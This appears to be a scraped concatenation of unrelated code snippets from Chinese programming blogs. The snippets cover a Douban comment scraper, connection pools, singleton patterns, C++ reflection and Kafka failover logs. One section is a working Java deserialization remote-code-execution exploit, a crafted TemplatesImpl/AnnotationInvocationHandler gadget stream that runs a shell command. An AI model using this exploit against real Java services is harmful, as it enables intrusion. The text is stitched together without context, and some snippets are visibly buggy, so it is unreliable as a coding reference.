复制代码__Thu Nov 23 2017 13:49:56 GMT+0800 (CST)____Thu Nov 23 2017 13:49:56 GMT+0800 (CST)__var list = new ArrayList<String>();  // infers ArrayList<String>
var stream = list.stream();          // infers Stream<String>__Thu Nov 23 2017 13:49:56 GMT+0800 (CST)____Thu Nov 23 2017 13:49:56 GMT+0800 (CST)__

复制代码def knife_into_view(view_instance):
    knife = Knife(view_instance)
    knife.view.target_button.clicked()
    sleep(10)
    text = view_instance._view.show.text()
    assert text == "target"

def test_start_main_ui()
    app = QApplication(sys.argv)
    view = View()
    threading.Thread(target=knife_into_view, args=(view,)).start()
    view.show()
    sys.exit(app.exec_())

复制代码signal_instance.connect(slot_name)

复制代码import inspect
print inspect.getsource(inspect.isclass)

复制代码class SubNode(object):
    def __init__(self):
        self.funs = []

    def __setattr__(self, key, value):
        self.__dict__[key] = value

    def __call__(self, *args, **kwargs):
        [f() for f in self.funs]


class FailAttr(ValueError):
    """ can't get attr correct"""


class Knife(object):
    def __new__(cls, widget_instance):
        pars = cls.parser_slots(widget_instance)
        cls.recover_slots(pars, widget_instance)
        return object.__new__(cls)

    @staticmethod
    def parser_slots(widget_instance):
        #codes

    @classmethod
    def recover_slots(cls, pars, widget_instance):
        def get_attrs(instance, attrs):
            #codes

        def set_attrs(cls, attrs, fun):
            #codes
        #codes
        return cls

复制代码self.mother.father.son.dog.clicked()

复制代码      def set_attrs(cls, attrs, fun):
            if attrs:
                now_attrs = attrs[0]
                if not hasattr(cls, now_attrs):
                    setattr(cls, now_attrs, SubNode())
                return set_attrs(getattr(cls, now_attrs), attrs[1:], fun)
            else:
                cls.funs.append(fun)

复制代码import re
import requests
import codecs
import time
import random
from bs4 import BeautifulSoup
absolute = 'https://movie.douban.com/subject/26322642/comments'
absolute_url = 'https://movie.douban.com/subject/26322642/comments?start=23&limit=20&sort=new_score&status=P&percent_type='
url = 'https://movie.douban.com/subject/26322642/comments?start={}&limit=20&sort=new_score&status=P'
header={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0','Connection':'keep-alive'}
def get_data(html):
    soup=BeautifulSoup(html,'lxml')
    comment_list = soup.select('.comment > p')
    next_page= soup.select('#paginator > a')[2].get('href')
    date_nodes = soup.select('..comment-time')
    return comment_list,next_page,date_nodes
if __name__ == '__main__':
    f_cookies = open('cookie.txt', 'r')
    cookies = {}
    for line in f_cookies.read().split(';'):
        name, value = line.strip().split('=', 1)
        cookies[name] = value
    html = requests.get(absolute_url, cookies=cookies, headers=header).content
    comment_list = []
    # 获取评论
    comment_list, next_page,date_nodes= get_data(html,)
    soup = BeautifulSoup(html, 'lxml')
    comment_list = []
    while (next_page != []):  #查看“下一页”的A标签链接
        print(absolute + next_page)
        html = requests.get(absolute + next_page, cookies=cookies, headers=header).content
        soup = BeautifulSoup(html, 'lxml')
        comment_list, next_page,date_nodes = get_data(html)
        with open("comments.txt", 'a', encoding='utf-8')as f:
            for node in comment_list:
                comment = node.get_text().strip().replace("\n", "")
                for date in date_nodes:
                    date= node.get_text().strip()
                    f.writelines((comment,date) + u'\n')
        time.sleep(1 + float(random.randint(1, 100)) / 20)

复制代码import pandas as pd
import matplotlib.pyplot as plt
date_name=['date','comment']
df = pd.read_csv('./comment.csv',header=None,names=date_name,encoding= 'gbk')
df['date'] = pd.to_datetime(df['date'])

复制代码print(df['date'].value_counts())
获取2017-11-06 – 2017-11-08 数据：

复制代码data6 = df['2017-11-06':'2017-11-08']
data6.to_csv('6.txt', encoding = 'utf-8', index = False)
print(data6.size)
5775
获取2017-11-09 – 2017-11-17 数据：
data9 = df['2017-11-09':'2017-11-17']
data9.to_csv('9.txt', encoding = 'utf-8', index = False)
print(data9.size)
16665

复制代码private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {    var1.defaultReadObject();    AnnotationType var2 = null;    try {        var2 = AnnotationType.getInstance(this.type);    } catch (IllegalArgumentException var9) {        throw new InvalidObjectException("Non-annotation type in annotation serial stream");    }/// 省略了后续代码}

复制代码ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(new File("/tmp/ser")));Date d = new Date();out.writeObject(d);out.writeObject(d);out.close();

复制代码public class Passcode implements Serializable {    private static final long serialVersionUID = 100L;    private String passcode;        public Passcode(String passcode) {        this.passcode = passcode;    }    private void readObject(ObjectInputStream input)     throws Exception {        input.defaultReadObject();        if (!this.passcode.equals("root")) {            throw new Exception("pass code is not correct");        }    }}

复制代码public class WrapperClass implements Serializable {    private static final long serialVersionUID = 200L;    private void readObject(ObjectInputStream input)     throws Exception {        input.defaultReadObject();        try {            input.readObject();        } catch (Exception e) {            System.out.println("WrapperClass.readObject: input.readObject error");        }    }}

复制代码ObjectInputStream in = new ObjectInputStream(new FileInputStream(new File("/tmp/ser")));in.readObject(); // 第一次，读出 Wrapper ClassSystem.out.println(in.readObject()); // 第二次，读出 Passcode 对象

复制代码public static void test2() throws Exception {    Serialization ser = new Serialization();    // wrong passcode ，反序列化时会出现异常    Passcode passcode = new Passcode("wrong passcode");     TCClassDesc desc = new TCClassDesc(    "util.n1nty.testpayload.WrapperClass", (byte)(SC_SERIALIZABLE | SC_WRITE_METHOD));    TCObject.ObjectData data = new TCObject.ObjectData();    // 将 passcode 添加到 WrapperClass 对象的数据区    // 使得 WrapperClass.readObject 内部的 input.readObject     // 可以将它读出    data.addData(passcode);     TCObject obj = new TCObject(ser);    obj.addClassDescData(desc, data, true);    ser.addObject(obj);    // 这里最终写入的是一个 TC_REFERENCE    ser.addObject(passcode);     ser.write("/tmp/ser");    ObjectInputStream in = new ObjectInputStream(    new FileInputStream(new File("/tmp/ser")));    in.readObject();    System.out.println(in.readObject());}

复制代码package util.n1nty.testpayload;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import util.Gadgets;import util.Reflections;import util.n1nty.gen.*;import javax.xml.transform.Templates;import java.beans.beancontext.BeanContextChild;import java.beans.beancontext.BeanContextSupport;import java.io.*;import java.util.HashMap;import java.util.Map;import static java.io.ObjectStreamConstants.*;public class TestRCE {    public static Templates makeTemplates(String command) {        TemplatesImpl templates = null;        try {            templates =  Gadgets.createTemplatesImpl(command);            Reflections.setFieldValue(templates, "_auxClasses", null);        } catch (Exception e) {            e.printStackTrace();        }        return templates;    }    public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception {        TCObject handler = new TCObject(ser) {            @Override            public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception {                ByteArrayOutputStream byteout = new ByteArrayOutputStream();                super.doWrite(new DataOutputStream(byteout), handles);                byte[] bytes = byteout.toByteArray();                /**                 * 去掉最后的 TC_ENDBLOCKDATA 字节。因为在反序列化 annotation invocation handler 的过程中会出现异常导致序列化的过程不能正常结束                 * 从而导致 TC_ENDBLOCKDATA 这个字节不能被正常吃掉                 * 我们就不能生成这个字节                 * */                out.write(bytes, 0, bytes.length -1);            }        };        // 手动添加  SC_WRITE_METHOD，否则会因为反序列化过程中的异常导致 ois.defaultDataEnd 为 true，导致流不可用。        TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte)(SC_SERIALIZABLE | SC_WRITE_METHOD));        desc.addField(new TCClassDesc.Field("memberValues", Map.class));        desc.addField(new TCClassDesc.Field("type", Class.class));        TCObject.ObjectData data = new TCObject.ObjectData();        data.addData(map);        data.addData(Templates.class);        handler.addClassDescData(desc, data);        return handler;    }    public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception {        TCObject obj = new TCObject(ser);        TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport");        TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport");        beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class));        TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData();        beanContextSupportData.addData(1); // serializable        beanContextSupportData.addData(handler);        beanContextSupportData.addData(0, true); // 防止 deserialize 内再执行 readObject        beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class));        TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData();        beanContextChildSupportData.addData(obj); // 指回被序列化的 BeanContextSupport 对象        obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true);        obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData);        return obj;    }    public static void main(String[] args) throws Exception {        Serialization ser = new Serialization();        Templates templates = makeTemplates("open /Applications/Calculator.app");        HashMap map = new HashMap();        map.put("f5a5a608", templates);        TCObject handler = makeHandler(map, ser);        TCObject linkedHashset = new TCObject(ser);        TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet");        TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData();        TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet");        hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class));        TCObject.ObjectData hashsetData = new TCObject.ObjectData();        hashsetData.addData(makeBeanContextSupport(handler, ser));        hashsetData.addData(10, true); // capacity        hashsetData.addData(1.0f, true); // loadFactor        hashsetData.addData(2, true); // size        hashsetData.addData(templates);        TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);        hashsetData.addData(proxy);        linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);        linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);        ser.addObject(linkedHashset);        ser.write("/tmp/ser");        ObjectInputStream in = new ObjectInputStream(new FileInputStream(new File("/tmp/ser")));        System.out.println(in.readObject());    }}

复制代码if not blocking:    def wait():        raise TooManyConnections    self._condition.wait = wait

复制代码# Establish an initial number of idle database connections:idle = [self.dedicated_connection() for i in range(mincached)]while idle:    idle.pop().close()

复制代码def close(self):    """Close the pooled dedicated connection."""    # Instead of actually closing the connection,    # return it to the pool for future reuse.    if self._con:        self._pool.cache(self._con)        self._con = None

复制代码def cache(self, con):    """Put a dedicated connection back into the idle cache."""    self._condition.acquire()    try:        if not self._maxcached or len(self._idle_cache) < self._maxcached:            con._reset(force=self._reset) # rollback possible transaction            # the idle cache is not full, so put it there            self._idle_cache.append(con) # append it to the idle cache        else: # if the idle cache is already full,            con.close() # then close the connection        self._connections -= 1        self._condition.notify()    finally:        self._condition.release()

复制代码# try to get a dedicated connection    self._condition.acquire()    try:        while (self._maxconnections                and self._connections >= self._maxconnections):            self._condition.wait()        # connection limit not reached, get a dedicated connection        try: # first try to get it from the idle cache            con = self._idle_cache.pop(0)        except IndexError: # else get a fresh connection            con = self.steady_connection()        else:            con._ping_check() # check connection        con = PooledDedicatedDBConnection(self, con)        self._connections += 1    finally:        self._condition.release()

复制代码    def get_connection_pipe(self):        """        获取连接        :return:        """        try:            connection_pipe = self._queue.get(False)        except Queue.Empty:            try:                connection_pipe = self.get_new_connection_pipe()            except GetConnectionException:                timeout = self.timeout                try:                    connection_pipe = self._queue.get(timeout=timeout)                except Queue.Empty:                    try:                        connection_pipe = self.get_new_connection_pipe()                    except GetConnectionException:                        logging.error("Too much connections, Get Connection Timeout!")        if (time.time() - connection_pipe.use_time) > self.disable_time:            self.close(connection_pipe)            return self.get_connection_pipe()        return connection_pipe

复制代码# coding:utf-8import loggingimport threadingimport Queuefrom kombu import Connectionimport timeclass InsertQueue():    def __init__(self, host=None, port=None, virtual_host=None, heartbeat_interval=3, name=None, password=None,                 logger=None, maxIdle=10, maxActive=50, timeout=30, disable_time=20):        """        :param str host: Hostname or IP Address to connect to        :param int port: TCP port to connect to        :param str virtual_host: RabbitMQ virtual host to use        :param int heartbeat_interval:  How often to send heartbeats        :param str name: auth credentials name        :param str password: auth credentials password        """        self.logger = logging if logger is None else logger        self.host = host        self.port = port        self.virtual_host = virtual_host        self.heartbeat_interval = heartbeat_interval        self.name = name        self.password = password        self.mutex = threading.RLock()        self.maxIdle = maxIdle        self.maxActive = maxActive        self.available = self.maxActive        self.timeout = timeout        self._queue = Queue.Queue(maxsize=self.maxIdle)        self.disable_time = disable_time    def get_new_connection_pipe(self):        """        产生新的队列连接        :return:        """        with self.mutex:            if self.available <= 0:                raise GetConnectionException            self.available -= 1        try:            conn = Connection(hostname=self.host,                              port=self.port,                              virtual_host=self.virtual_host,                              heartbeat=self.heartbeat_interval,                              userid=self.name,                              password=self.password)            producer = conn.Producer()            return ConnectionPipe(conn, producer)        except:            with self.mutex:                self.available += 1            raise GetConnectionException    def get_connection_pipe(self):        """        获取连接        :return:        """        try:            connection_pipe = self._queue.get(False)        except Queue.Empty:            try:                connection_pipe = self.get_new_connection_pipe()            except GetConnectionException:                timeout = self.timeout                try:                    connection_pipe = self._queue.get(timeout=timeout)                except Queue.Empty:                    try:                        connection_pipe = self.get_new_connection_pipe()                    except GetConnectionException:                        logging.error("Too much connections, Get Connection Timeout!")        if (time.time() - connection_pipe.use_time) > self.disable_time:            self.close(connection_pipe)            return self.get_connection_pipe()        return connection_pipe    def close(self, connection_pipe):        """        close the connection and the correlative channel        :param connection_pipe:        :return:        """        with self.mutex:            self.available += 1            connection_pipe.close()        return    def insert_message(self, exchange=None, body=None, routing_key='', mandatory=True):        """        insert message to queue        :param str exchange: exchange name        :param str body: message        :param str routing_key: routing key        :param bool mandatory: is confirm: True means confirm, False means not confirm        :return:        """        put_into_queue_flag = True        insert_result = False        connection_pipe = None        try:            connection_pipe = self.get_connection_pipe()            producer = connection_pipe.channel            use_time = time.time()            producer.publish(exchange=exchange,                                             body=body,                                             delivery_mode=2,                                             routing_key=routing_key,                                             mandatory=mandatory                                             )            insert_result = True        except Exception:            insert_result = False            put_into_queue_flag = False        finally:            if put_into_queue_flag is True:                try:                    connection_pipe.use_time = use_time                    self._queue.put_nowait(connection_pipe)                except Queue.Full:                    self.close(connection_pipe)            else:                if connection_pipe is not None:                    self.close(connection_pipe)        return insert_resultclass ConnectionPipe(object):    """    connection和channel对象的封装    """    def __init__(self, connection, channel):        self.connection = connection        self.channel = channel        self.use_time = time.time()    def close(self):        try:            self.connection.close()        except Exception as ex:            passclass GetConnectionException():    """    获取连接异常    """    pass

复制代码async_result = AsyncResult()self.no_client_queue.appendleft(async_result)client = async_result.get()  # blocking

复制代码def put_back_connections(self, client):    """    线程安全    将连接放回连接池，逻辑如下：    1、如果有请求尚未获取到连接，请求优先    2、如果连接池中的连接的数目小于maxIdle，则将该连接放回连接池    3、关闭连接    :param client:    :return:    """    with self.lock:        if self.no_client_queue.__len__() > 0:            task = self.no_client_queue.pop()            task.set(client)        elif self.connections.__len__() < self.maxIdle:            self.connections.add(client)        else:            client.close()            self.pool_size -= 1

复制代码# coding: utf-8import threadingfrom collections import dequeimport loggingimport socketimport timefrom kazoo.client import KazooClientfrom thriftpy.protocol import TBinaryProtocolFactoryfrom thriftpy.transport import (    TBufferedTransportFactory,    TSocket,)from gevent.event import AsyncResultfrom gevent import Timeoutfrom error import CTECThriftClientErrorfrom thriftpy.thrift import TClientfrom thriftpy.transport import TTransportExceptionclass ClientPool:    def __init__(self, service, server_hosts=None, zk_path=None, zk_hosts=None, logger=None, max_renew_times=3, maxActive=20,                 maxIdle=10, get_connection_timeout=30, socket_timeout=30, disable_time=3):        """        :param service: Thrift的Service名称        :param server_hosts: 服务提供者地址，数组类型，['ip:port','ip:port']        :param zk_path: 服务提供者在zookeeper中的路径        :param zk_hosts: zookeeper的host地址，多个请用逗号隔开        :param max_renew_times: 最大重连次数        :param maxActive: 最大连接数        :param maxIdle: 最大空闲连接数        :param get_connection_timeout:获取连接的超时时间        :param socket_timeout: 读取数据的超时时间        :param disable_time: 连接失效时间        """        # 负载均衡队列        self.load_balance_queue = deque()        self.service = service        self.lock = threading.RLock()        self.max_renew_times = max_renew_times        self.maxActive = maxActive        self.maxIdle = maxIdle        self.connections = set()        self.pool_size = 0        self.get_connection_timeout = get_connection_timeout        self.no_client_queue = deque()        self.socket_timeout = socket_timeout        self.disable_time = disable_time        self.logger = logging if logger is None else logger        if zk_hosts:            self.kazoo_client = KazooClient(hosts=zk_hosts)            self.kazoo_client.start()            self.zk_path = zk_path            self.zk_hosts = zk_hosts            # 定义Watcher            self.kazoo_client.ChildrenWatch(path=self.zk_path,                                            func=self.watcher)            # 刷新连接池中的连接对象            self.__refresh_thrift_connections(self.kazoo_client.get_children(self.zk_path))        elif server_hosts:            self.server_hosts = server_hosts            # 复制新的IP地址到负载均衡队列中            self.load_balance_queue.extendleft(self.server_hosts)        else:            raise CTECThriftClientError('没有指定服务器获取方式！')    def get_new_client(self):        """        轮询在每个ip:port的连接池中获取连接（线程安全）        从当前队列右侧取出ip:port信息，获取client        将连接池对象放回到当前队列的左侧        请求或连接超时时间，默认30秒        :return:        """        with self.lock:            if self.pool_size < self.maxActive:                try:                    ip = self.load_balance_queue.pop()                except IndexError:                    raise CTECThriftClientError('没有可用的服务提供者列表！')                if ip:                    self.load_balance_queue.appendleft(ip)                    # 创建新的thrift client                    t_socket = TSocket(ip.split(':')[0], int(ip.split(':')[1]),                                       socket_timeout=1000 * self.socket_timeout)                    proto_factory = TBinaryProtocolFactory()                    trans_factory = TBufferedTransportFactory()                    transport = trans_factory.get_transport(t_socket)                    protocol = proto_factory.get_protocol(transport)                    transport.open()                    client = TClient(self.service, protocol)                    self.pool_size += 1                return client            else:                return None    def close(self):        """        关闭所有连接池和zk客户端        :return:        """        if getattr(self, 'kazoo_client', None):            self.kazoo_client.stop()    def watcher(self, children):        """        zk的watcher方法，负责检测zk的变化，刷新当前双端队列中的连接池        :param children: 子节点，即服务提供方的列表        :return:        """        self.__refresh_thrift_connections(children)    def __refresh_thrift_connections(self, children):        """        刷新服务提供者在当前队列中的连接池信息（线程安全），主要用于zk刷新        :param children:        :return:        """        with self.lock:            # 清空负载均衡队列            self.load_balance_queue.clear()            # 清空连接池            self.connections.clear()            # 复制新的IP地址到负载均衡队列中            self.load_balance_queue.extendleft(children)    def __getattr__(self, name):        """        函数调用，最大重试次数为max_renew_times        :param name:        :return:        """        def method(*args, **kwds):            # 从连接池获取连接            client = self.get_client_from_pool()            # 连接池中无连接            if client is None:                # 设置获取连接的超时时间                time_out = Timeout(self.get_connection_timeout)                time_out.start()                try:                    async_result = AsyncResult()                    self.no_client_queue.appendleft(async_result)                    client = async_result.get()  # blocking                except:                    with self.lock:                        if client is None:                            self.no_client_queue.remove(async_result)                            self.logger.error("Get Connection Timeout!")                finally:                    time_out.cancel()            if client is not None:                for i in xrange(self.max_renew_times):                    try:                        put_back_flag = True                        client.last_use_time = time.time()                        fun = getattr(client, name, None)                        return fun(*args, **kwds)                    except socket.timeout:                        self.logger.error("Socket Timeout!")                        # 关闭连接，不关闭会导致乱序                        put_back_flag = False                        self.close_one_client(client)                        break                    except TTransportException, e:                        put_back_flag = False                        if e.type == TTransportException.END_OF_FILE:                            self.logger.warning("Socket Connection Reset Error,%s", e)                            with self.lock:                                client.close()                                self.pool_size -= 1                                client = self.get_new_client()                        else:                            self.logger.error("Socket Error,%s", e)                            self.close_one_client(client)                            break                    except socket.error, e:                        put_back_flag = False                        if e.errno == socket.errno.ECONNABORTED:                            self.logger.warning("Socket Connection aborted Error,%s", e)                            with self.lock:                                client.close()                                self.pool_size -= 1                                client = self.get_new_client()                        else:                            self.logger.error("Socket Error, %s", e)                            self.close_one_client(client)                            break                    except Exception as e:                        put_back_flag = False                        self.logger.error("Thrift Error, %s", e)                        self.close_one_client(client)                        break                    finally:                        # 将连接放回连接池                        if put_back_flag is True:                            self.put_back_connections(client)            return None        return method    def close_one_client(self, client):        """        线程安全        关闭连接        :param client:        :return:        """        with self.lock:            client.close()            self.pool_size -= 1    def put_back_connections(self, client):        """        线程安全        将连接放回连接池，逻辑如下：        1、如果有请求尚未获取到连接，请求优先        2、如果连接池中的连接的数目小于maxIdle，则将该连接放回连接池        3、关闭连接        :param client:        :return:        """        with self.lock:            if self.no_client_queue.__len__() > 0:                task = self.no_client_queue.pop()                task.set(client)            elif self.connections.__len__() < self.maxIdle:                self.connections.add(client)            else:                client.close()                self.pool_size -= 1    def get_client_from_pool(self):        """        线程安全        从连接池中获取连接，若连接池中有连接，直接取出，否则，        新建一个连接，若一直无法获取连接，则返回None        :return:        """        client = self.get_one_client_from_pool()        if client is not None and (time.time() - client.last_use_time) < self.disable_time:            return client        else:            if client is not None:                self.close_one_client(client)        client = self.get_new_client()        if client is not None:            return client        return None    def get_one_client_from_pool(self):        """        线程安全        从连接池中获取一个连接，若取不到连接，则返回None        :return:        """        with self.lock:            if self.connections:                try:                    return self.connections.pop()                except KeyError:                    return None            return None

复制代码// 饱汉
// UnThreadSafe
public class Singleton1 {
  private static Singleton1 singleton = null;

  private Singleton1() {
  }

  public static Singleton1 getInstance() {
    if (singleton == null) {
      singleton = new Singleton1();
    }
    return singleton;
  }
}

复制代码// 饱汉
// ThreadSafe
public class Singleton1_1 {
  private static Singleton1_1 singleton = null;

  private Singleton1_1() {
  }

  public synchronized static Singleton1_1 getInstance() {
    if (singleton == null) {
      singleton = new Singleton1_1();
    }
    return singleton;
  }
}

复制代码// 饱汉
// UnThreadSafe
public class Singleton1_2 {
  private static Singleton1_2 singleton = null;

  private Singleton1_2() {
  }

  public static Singleton1_2 getInstance() {
    // may get half object
    if (singleton == null) {
      synchronized (Singleton1_2.class) {
        if (singleton == null) {
          singleton = new Singleton1_2();
        }
      }
    }
    return singleton;
  }
}

复制代码// 饱汉
// ThreadSafe
public class Singleton1_3 {
  private static volatile Singleton1_3 singleton = null;

  private Singleton1_3() {
  }

  public static Singleton1_3 getInstance() {
    if (singleton == null) {
      synchronized (Singleton1_3.class) {
        // must be a complete instance
        if (singleton == null) {
          singleton = new Singleton1_3();
        }
      }
    }
    return singleton;
  }
}

复制代码// 饿汉
// ThreadSafe
public class Singleton2 {
  private static final Singleton2 singleton = new Singleton2();

  private Singleton2() {
  }

  public static Singleton2 getInstance() {
    return singleton;
  }
}

复制代码// Holder模式
// ThreadSafe
public class Singleton3 {
  private static class SingletonHolder {
    private static final Singleton3 singleton = new Singleton3();

    private SingletonHolder() {
    }
  }


  private Singleton3() {
  }

  /**
  * 勘误：多写了个synchronized。。
  public synchronized static Singleton3 getInstance() {
    return SingletonHolder.singleton;
  }
  */

  public static Singleton3 getInstance() {
    return SingletonHolder.singleton;
  }
}

复制代码// 枚举
// ThreadSafe
public enum Singleton4 {
  SINGLETON;
}

复制代码// 枚举
// ThreadSafe
public class Singleton4 extends Enum<Singleton4> {
  ...
  public static final Singleton4 SINGLETON = new Singleton4();
  ...
}

复制代码// 枚举
// ThreadSafe
public enum Singleton4_1 {
  SINGLETON("enum is the easiest singleton pattern, but not the most readable") {
    public void testAbsMethod() {
      print();
      System.out.println("enum is ugly, but so flexible to make lots of trick");
    }
  };

  private String comment = null;

  Singleton4_1(String comment) {
    this.comment = comment;
  }

  public void print() {
    System.out.println("comment=" + comment);
  }

  abstract public void testAbsMethod();


  public static Singleton4_1 getInstance() {
    return SINGLETON;
  }
}

复制代码class BaseModule
{
public:
	virtual ~BaseModule(); 

	virtual string GetData();
};

class BusinessModuleA: public BaseModule
{
public:
	virtual string GetData(); // 卖出 00700.HK
};

class BusinessModuleB: public BaseModule
{
public:
	virtual string GetData(); // 签下 Playerunknown's Battlegrounds
};

int main 
{
	// PartA，使用 ModuleA 处理 
	BaseModule * module_a = new BusinessModuleA();
	cout << module_a->GetData() << endl;

	// PartB，使用 ModuleB 处理 
	BaseModule * module_b = new BusinessModuleB();
	cout << module_b->GetData() << endl;
}

复制代码BaseModule* ObjectCreator_register_name_BusinessModuleA()
{ 
	return new BusinessModuleA; 
} 

ObjectCreatorRegister_ModuleRegister 
g_object_creator_register_name_BusinessModuleA("BusinessModuleA",
ObjectCreator_register_name_BusinessModuleA);

复制代码// 使用反射获取 ModuleA 实例
BaseModule* business_a = GET_MODULE("BusinessModuleA");
cout << business_a->GetData() << endl;

// 使用反射获取 ModuleB 实例
BaseModule* business_b = GET_MODULE("BusinessModuleB");
cout << business_b->GetData() << endl;

复制代码CPU: 64 x Intel(R) Xeon(R) CPU E5-2620 v3 @ 2.40GHz
Memory: 64 GB
Network: 10 Gigabit Ethernet
Disk: SSD Raid 10
Cluster Nodes: 3
Ping: 1ms

复制代码第一阶段（未 kill Broker 0）：
 Topic: test-dis-p100 Partition: 96 Leader: 0 Replicas: 0,1,2 Isr: 1,0,2
 Topic: test-dis-p100 Partition: 97 Leader: 1 Replicas: 1,2,0 Isr: 1,0,2
 Topic: test-dis-p100 Partition: 98 Leader: 2 Replicas: 2,0,1 Isr: 1,0,2

第二阶段（kill Broker 0 后持续8s）：
 Topic: test-dis-p100 Partition: 96 Leader: 0 Replicas: 0,1,2 Isr: 1,0,2
 Topic: test-dis-p100 Partition: 97 Leader: 1 Replicas: 1,2,0 Isr: 1,0,2
 Topic: test-dis-p100 Partition: 98 Leader: 2 Replicas: 2,0,1 Isr: 1,0,2

第三阶段（持续1分钟左右）：
 Topic: test-dis-p100 Partition: 96 Leader: 1 Replicas: 0,1,2 Isr: 2,1
 Topic: test-dis-p100 Partition: 97 Leader: 1 Replicas: 1,2,0 Isr: 2,1,0
 Topic: test-dis-p100 Partition: 98 Leader: 2 Replicas: 2,0,1 Isr: 2,1,0

第四阶段（至此入队成功率完全恢复）：
 Topic: test-dis-p100 Partition: 96 Leader: 1 Replicas: 0,1,2 Isr: 2,1
 Topic: test-dis-p100 Partition: 97 Leader: 1 Replicas: 1,2,0 Isr: 2,1
 Topic: test-dis-p100 Partition: 98 Leader: 2 Replicas: 2,0,1 Isr: 2,1

复制代码30551 records sent, 6107.8 records/sec (0.06 MB/sec), 1733.9 ms avg latency, 5042.0 max latency.
30620 records sent, 6117.9 records/sec (0.06 MB/sec), 1771.9 ms avg latency, 5076.0 max latency.
30723 records sent, 6123.8 records/sec (0.06 MB/sec), 1745.4 ms avg latency, 5009.0 max latency.
30716 records sent, 6127.3 records/sec (0.06 MB/sec), 1841.1 ms avg latency, 5299.0 max latency.
30674 records sent, 6133.6 records/sec (0.06 MB/sec), 1621.3 ms avg latency, 4644.0 max latency.
>>> kill Broker 0 here （入队成功率受损）>>>
10580 records sent, 123.4 records/sec (0.00 MB/sec), 1537.1 ms avg latency, 84236.0 max latency.  <<---吞吐下降严重
11362 records sent, 132.3 records/sec (0.00 MB/sec), 1658.3 ms avg latency, 84232.0 max latency.
11367 records sent, 132.3 records/sec (0.00 MB/sec), 1582.4 ms avg latency, 84228.0 max latency.
11236 records sent, 130.9 records/sec (0.00 MB/sec), 1694.2 ms avg latency, 84240.0 max latency.
11406 records sent, 132.8 records/sec (0.00 MB/sec), 1650.5 ms avg latency, 84233.0 max latency.

复制代码[2017-08-16 15:38:22,844] WARN Connection to node 0 could not be established. Broker may not be available. (org.apache.kafka.clients.NetworkClient)
[2017-08-16 15:38:22,859] WARN Connection to node 0 could not be established. Broker may not be available. (org.apache.kafka.clients.NetworkClient)

复制代码>>> kill store 0 here （入队成功率受损）>>>

-------------------------------------------
-- total:  192323
-- time(ms):       10015
-- qps:    19203.49
-- routine_sleep:  73.88%
-- retcode cnt     percent
-- -1      22097   11.49 <<--- 失败：连接失败
-- 0       125905  65.47 <<--- 成功：仍有66%成功率
-- 10102   44321   23.05 <<--- 失败：提示需要重定向到 master
-- usetime(ms)     cnt     percent
-- < 1             0       0.00
-- < 2             0       0.00
-- < 5             610     0.32
-- < 10            7344    3.82
-- < 20            18937   9.85
-- < 50            36067   18.75
-- < 100           6971    3.62
-- < 200           20239   10.52
-- < 500           59059   30.71
-- < 1000          30601   15.91
-- >= 1000         12495   6.50


>>> （入队成功率完全恢复）>>>

-------------------------------------------
-- total:  198955
-- time(ms):       10001
-- qps:    19893.51
-- routine_sleep:  98.00%
-- retcode cnt     percent
-- 0       198955  100.00 <<--- 成功：100%成功率
-- usetime(ms)     cnt     percent
-- < 1             0       0.00
-- < 2             2       0.00
-- < 5             5895    2.96
-- < 10            30830   15.50
-- < 20            65887   33.12
-- < 50            95403   47.95
-- < 100           753     0.38
-- < 200           185     0.09
-- < 500           0       0.00
-- < 1000          0       0.00
-- >= 1000         0       0.00

复制代码>>> kill store 0 here （入队成功率受损）>>>

-------------------------------------------
-- total:  134752
-- time(ms):       10001
-- qps:    13473.85
-- routine_sleep:  77.43%
-- retcode cnt     percent
-- -202    14      0.01 <<--- 失败：超时
-- -1      2712    2.01 <<--- 失败：连接失败
-- 0       127427  94.56 <<--- 成功：仍有94%成功率
-- 10102   4572    3.39 <<--- 失败：提示需要重定向到 master
-- 10105   27      0.02 <<--- 失败：master 未选举出来
-- usetime(ms)     cnt     percent
-- < 1             0       0.00
-- < 2             4       0.00
-- < 5             3284    2.44
-- < 10            10704   7.94
-- < 20            22109   16.41
-- < 50            32752   24.31
-- < 100           4541    3.37
-- < 200           4331    3.21
-- < 500           11265   8.36
-- < 1000          19706   14.62
-- >= 1000         26056   19.34

>>> （入队成功率完全恢复）>>>

-------------------------------------------
-- total:  198234
-- time(ms):       10014
-- qps:    19795.69
-- routine_sleep:  94.36%
-- retcode cnt     percent
-- 0       198234  100.00 <<--- 成功：100%成功率
-- usetime(ms)     cnt     percent
-- < 1             0       0.00
-- < 2             0       0.00
-- < 5             3875    1.95
-- < 10            22978   11.59
-- < 20            53000   26.74
-- < 50            87575   44.18
-- < 100           6204    3.13
-- < 200           6468    3.26
-- < 500           11963   6.03
-- < 1000          5637    2.84
-- >= 1000         534     0.27

复制代码import pandas as pd
import numpy as np

df=pd.DataFrame(np.random.rand(3,6),columns=['x', 'lev2015','roa2015', 'roa2016', 'lev2016','lev2017'])
df['stkcd']=['a1','a2','a3']
df
Out[1]: 
          x   lev2015   roa2015   roa2016   lev2016   lev2017 stkcd
